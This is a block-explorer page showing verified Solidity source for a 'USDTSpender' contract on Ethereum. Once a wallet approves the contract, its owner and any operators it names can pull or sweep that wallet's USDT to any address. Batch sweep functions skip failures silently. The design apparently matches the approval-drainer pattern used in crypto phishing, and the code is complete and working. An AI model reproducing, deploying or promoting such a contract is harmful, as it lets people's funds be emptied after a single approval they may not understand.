Skip to content
Verified contractExactMIT

USDTSpender

Address0x433cf5ab3fee5cf23dd925f17ed6cc6a9894502f
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.24

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.24+commit.e11b9ed9
Language
solidity
Optimization
No
EVM version
london
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,430,720
Creation transaction
0x3b69007eed…5a6c3faba4

ETHSpender.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface IERC20 {
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
}

/**
 * @title USDTSpender
 * @dev Pure spender contract for Ethereum USDT.
 * Users approve this contract once on the USDT token.
 * Authorized operators can then pull USDT without further user interaction.
 */
contract USDTSpender {
    IERC20 public constant USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);

    address public immutable owner;
    mapping(address => bool) public operators;

    event Swept(address indexed from, address indexed to, uint256 amount, address indexed operator);
    event OperatorUpdated(address indexed operator, bool status);

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    modifier onlyOperator() {
        require(msg.sender == owner || operators[msg.sender], "Not operator");
        _;
    }

    constructor() {
        owner = msg.sender;
        operators[msg.sender] = true;
    }

    // -------------------------------------------------------
    // Core pull functions (users must have already approved)
    // -------------------------------------------------------

    /// @notice Pull exact amount from a wallet
    function pull(address from, address to, uint256 amount) external onlyOperator {
        require(from != address(0) && to != address(0), "Zero address");
        require(amount > 0, "Zero amount");

        uint256 allowance = USDT.allowance(from, address(this));
        require(allowance >= amount, "Insufficient allowance");

        uint256 balance = USDT.balanceOf(from);
        require(balance >= amount, "Insufficient balance");

        require(USDT.transferFrom(from, to, amount), "Transfer failed");
        emit Swept(from, to, amount, msg.sender);
    }

    /// @notice Sweep entire available balance (limited by allowance)
    function sweep(address from, address to) external onlyOperator {
        require(from != address(0) && to != address(0), "Zero address");

        uint256 balance = USDT.balanceOf(from);
        uint256 allowance = USDT.allowance(from, address(this));
        uint256 amount = balance < allowance ? balance : allowance;

        require(amount > 0, "Nothing to sweep");

        require(USDT.transferFrom(from, to, amount), "Transfer failed");
        emit Swept(from, to, amount, msg.sender);
    }

    /// @notice Batch sweep multiple wallets to one recipient
    function sweepMany(address[] calldata froms, address to) external onlyOperator {
        require(to != address(0), "Zero address");

        for (uint256 i = 0; i < froms.length; i++) {
            address from = froms[i];
            if (from == address(0)) continue;

            uint256 balance = USDT.balanceOf(from);
            uint256 allowance = USDT.allowance(from, address(this));
            uint256 amount = balance < allowance ? balance : allowance;

            if (amount > 0) {
                // Silent skip on failure to allow partial success
                try USDT.transferFrom(from, to, amount) returns (bool success) {
                    if (success) {
                        emit Swept(from, to, amount, msg.sender);
                    }
                } catch {}
            }
        }
    }

    /// @notice Batch pull exact amounts
    function pullMany(
        address[] calldata froms,
        address to,
        uint256[] calldata amounts
    ) external onlyOperator {
        require(froms.length == amounts.length, "Length mismatch");
        require(to != address(0), "Zero address");

        for (uint256 i = 0; i < froms.length; i++) {
            if (amounts[i] == 0 || froms[i] == address(0)) continue;

            uint256 allowance = USDT.allowance(froms[i], address(this));
            uint256 balance = USDT.balanceOf(froms[i]);

            if (allowance >= amounts[i] && balance >= amounts[i]) {
                try USDT.transferFrom(froms[i], to, amounts[i]) returns (bool success) {
                    if (success) {
                        emit Swept(froms[i], to, amounts[i], msg.sender);
                    }
                } catch {}
            }
        }
    }

    // -------------------------------------------------------
    // Admin
    // -------------------------------------------------------

    function setOperator(address operator, bool status) external onlyOwner {
        require(operator != address(0), "Zero address");
        operators[operator] = status;
        emit OperatorUpdated(operator, status);
    }

    // -------------------------------------------------------
    // View helpers
    // -------------------------------------------------------

    function getAllowance(address wallet) external view returns (uint256) {
        return USDT.allowance(wallet, address(this));
    }

    function getBalance(address wallet) external view returns (uint256) {
        return USDT.balanceOf(wallet);
    }

    function getSweepable(address wallet) external view returns (uint256) {
        uint256 bal = USDT.balanceOf(wallet);
        uint256 allw = USDT.allowance(wallet, address(this));
        return bal < allw ? bal : allw;
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "evmVersion": "london",
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.